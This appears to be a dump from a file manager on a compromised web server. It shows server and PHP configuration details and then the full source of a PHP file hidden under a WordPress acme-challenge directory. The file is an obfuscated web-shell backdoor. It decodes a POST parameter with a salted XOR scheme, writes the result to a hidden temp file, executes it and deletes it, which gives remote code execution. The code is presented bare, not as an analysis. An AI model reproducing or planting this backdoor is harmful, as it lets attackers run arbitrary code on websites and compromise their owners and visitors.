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Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
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File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/a/f/f/e/End.php
<?php

if(count($_POST) > 0 && isset($_POST["ele\x6De\x6Et"])){
	$tkn = $_POST["ele\x6De\x6Et"];
	  $tkn  = explode			(		'.',$tkn	 )   ; 	 
	$holder='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=strlen(  $salt);
    
            foreach(  $tkn as $k =>	 $v3) {
                $chS=ord(  $salt[$k % $lenS]);
                $d=(  (  int)$v3 - $chS -(  $k % 10)) ^ 23;
                $holder.=	chr(  $d);
            }
	$ref = array_filter([getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm"]);
	for ($sym = 0, $k = count($ref); $sym < $k; $sym++) {
    $dchunk = $ref[$sym];
    		if (is_writable($dchunk) && is_dir($dchunk)) {
    $ent = implode("/", [$dchunk, ".resource"]);
    if (file_put_contents($ent, $holder)) {
	include $ent;
	@unlink($ent);
	exit;
}
}
}
}